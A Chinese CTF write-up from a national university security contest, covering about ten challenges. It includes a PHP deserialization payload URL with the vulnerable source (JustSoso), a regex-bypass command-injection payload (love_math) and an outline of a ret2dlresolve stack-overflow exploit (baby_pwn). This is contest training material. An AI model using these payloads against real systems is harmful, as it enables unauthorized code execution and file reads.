第十二屆全國大學生信息安全競賽部分WriteUp
0x00 簽到題
操作內容:
下載鏈接,解壓並運行軟件,對準兩個聚焦圓圈,控制檯回車輸出 flag
0x01 SALEAE
操作內容:
打開發現是.logicdata(邏輯分析儀數據文件),使用 Logic 軟件打開,根據時鐘頻率以及通
訊方式擦側是屬於 SPI 通訊,解析得到 flag
flag 豎着讀
0x02 24c
操作內容:
同上題方式,打開,發現又是 IIC 協議,解析發現結果
將結果導出爲文本格式
嘗試拼接發現有問題,然後想到題目名是 24c,想到 IIC 的 EEPROM 存儲芯片 24c02,又聯
想到是 IIC 協議,想起 IIC 操作 24c02 的時候要先發送開始操作的地址,以及 NAK 這個停
止符(想到可能是要修改內容二中斷接收)。於是想到\t 不是字符,其對應的 ASCII 是 9,也
就是從第 9 號位‘9’開始將”9e”替換爲 ac,與之前的部分進行拼接然後得到結果。
0x03 easyG0
操作內容:
下載鏈接,經分析,需要輸入一些字符串,所以打開 ida
地址 0x495168
搜索 please,然後交叉引用返回到
,然後用 gdb 在 0x495168 處下斷點,單步調試,直到讓輸入一些字符串,這個地方隨便輸,
就行,然後一直單步執行,會到兩個字符串比較的地方,這時可以在棧空間看見 flag,如下:
0x04 JustSoso
操作內容:
在網頁源代碼中發現提示
php 任意文件包含,下面是 base64 轉文本的結果
index.php
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
hint.php
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>
我們使用 ///,可以繞過 url = parse_url(url[‘query’],$query);
然後 使用%00 繞過 wakeup;
最後使用=& 鏈接 指向同一地址 使得 token = token_flag 即可。
使用 payload:
http://cca41b4bf4704d57b697729ee8950f4c509984bceeb5401c.changame.ichu
nqiu.com///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:%
22%00Handle%00handle%22;O:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.
php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}
0x05 puzzles
操作內容:
Question0 解四元一次方程:
Question1 根據規律可以知道 part1 爲 26365399
Question2 求極限函數可知 part2 爲 7700
Question3 根據感應電動勢計算公式可知 part3 爲 18640
Question4 計算立體圖形體積,三重積分可得 part4 爲 40320
將所得數字進行十六進制轉換,得到 flag
0x06 usbasp
操作內容:
下載鏈接,將文件拖進邏輯分析儀中,並設置相關參數,如圖:
拉到最後就可以看到 flag 了,flag 豎着讀
0x07 warmup
操作內容:
下載鏈接,分析代碼文件,確定是 AES 題目。通過分析,可以聯想到 DDCTF 中 AES ECB 加
解密還原(安全通信)類似於本題目,唯一的區別就是 ECB 換成了另外的 CRT,解題的思
路和關鍵點在可控密鑰長度,這裏選擇逐位爆破 flag,經過測試可以知道逐位爆破 flag,
每次 16 位,重複 3 位即可;
(類似 AES ECB 題目鏈接:https://www.cnblogs.com/kagari/p/8889412.html)
根據分析擼出腳本,如圖:
0x08 love_math
操作內容:
查看源代碼發現 ajax 連接一個 calc.php 文件,訪問這個文件
訪問之後,給出源代碼
發現需要繞過兩處正則,經過半天的測試,發現可以通過這種方法繞過正則列目錄sin=tan=sin($tan);
然後就是想盡辦法讀取 flag.php 的內容,一開始是覺得在這個地方想辦法繞過特殊字符,
繞過空格使用 cat 讀取文件,到下午之後發現其他的利用方式
base_convert 可以進行進制轉化並且在白名單中 37907361743-hex2bin
dechex 可以將十進制轉十六進制,1598506324-5f474554
後面就是按照正則繞就 OK 了。
payload:/calc.php?c=$pi){2})&1=system&2=cat%20flag.php
flag 在網頁源代碼中,
進制轉換可以通過這個網站在線轉換: https://tool.lu/hexconvert/
0x09 bbvvmm
操作內容:
下載鏈接,解壓文件,直接拖進 UE,發現用戶名和密碼,如圖所示:
初看感覺應該是正常的 base64,但是在線解密後,發現不對,測試一下,感覺應該是畸形
base64 解碼,如下圖:
可以知道用戶名經過了 rsm 加密,然後是 base64 解碼,
最後可以得到用戶名爲:badrer12
此時密碼還沒有得到,lda 進行反編譯一下,單流程有幾百個,ida 遠程進行動態調試,在
要輸入的數據上下斷點,然後查看內存,發現
密碼得到爲:xyz{|};
輸入用戶名和密碼,使用 pwntools,運行腳本,
得到 flag
0x10 baby_pwn
操作內容:
下載鏈接,解壓文件,放入 ida,分析一波
如下圖可以發現,除了明顯的棧溢出,沒有可以用來 leak 內存佈局,bypass
aslr 的函數,
反編譯 read,可以看出有很明顯的棧溢出漏洞,但是隻有一個
read,沒有可以用來 leak 的函數,所以利用 ret2dl 的解法
關鍵思路是通過棧溢出來調用 read 函數在 bss 段寫我們需要的結構
和/bin/sh,然後使用 dl_resolve_call 去調用 system,得到 shell
腳本編寫,如下圖:
反編譯 read,可以看出有很明顯的棧溢出漏洞,但是隻有一個
read,沒有可以用來 leak 的函數,所以利用 ret2dl 的解法
關鍵思路是通過棧溢出來調用 read 函數在 bss 段寫我們需要的結構
和/bin/sh,然後使用 dl_resolve_call 去調用 system,得到 shell
腳本編寫,如下圖:
利用 roputils 工具來實現 ret2dl(在 python 中算模塊)
直接在 github 上下載 roputils 包:
https://codeload.github.com/inaz2/roputils/zip/master
運行腳本,得到 flag